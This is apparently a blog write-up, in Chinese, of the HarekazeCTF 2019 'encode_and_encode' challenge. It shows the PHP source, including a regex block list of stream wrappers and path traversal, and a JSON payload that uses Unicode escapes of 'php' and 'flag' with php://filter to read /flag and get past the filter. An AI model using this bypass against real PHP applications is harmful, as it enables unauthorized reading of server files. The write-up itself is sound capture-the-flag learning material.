HarekazeCTF-2019-encode_and_encode

HarekazeCTF-2019-encode_and_encode

上来就是源码……:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
error_reporting(0);

if (isset($_GET['source'])) {
show_source(__FILE__);
exit();
}

function is_valid($str) {
$banword = [
// no path traversal
'\.\.',
// no stream wrapper
'(php|file|glob|data|tp|zip|zlib|phar):',
// no data exfiltration
'flag'
];
$regexp = '/' . implode('|', $banword) . '/i';
if (preg_match($regexp, $str)) {
return false;
}
return true;
}

$body = file_get_contents('php://input');//接受post数据
$json = json_decode($body, true);//json解密,故body需要为合法json字符串

if (is_valid($body) && isset($json) && isset($json['page'])) {//body中需含有page字段
$page = $json['page'];
$content = file_get_contents($page);//读取
if (!$content || !is_valid($content)) {//过滤传参,一些伪协议,flag
$content = "<p>not found</p>\n";
}
} else {
$content = '<p>invalid request</p>';
}

// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{&lt;censored&gt;}', $content);
echo json_encode(['content' => $content]);

is_valid过滤了很多协议还有遍历,随便起协议名再遍历读取是不能用了……

json转义

json为提供一些特殊字符的传输,支持了Unicode,如:json_encode会将中文转换为unicode编码

所以此处使用Unicode即可绕过检查。

{ “page” : “\u0070\u0068\u0070://filter/convert.base64-encode/resource=/\u0066\u006c\u0061\u0067”}

flag{5c3db6bf-f5c9-4926-a809-ea7b4d23c37d}

获得flag……

作者

inanb

发布于

2021-05-04

更新于

2021-05-04

许可协议


:D 一言句子获取中...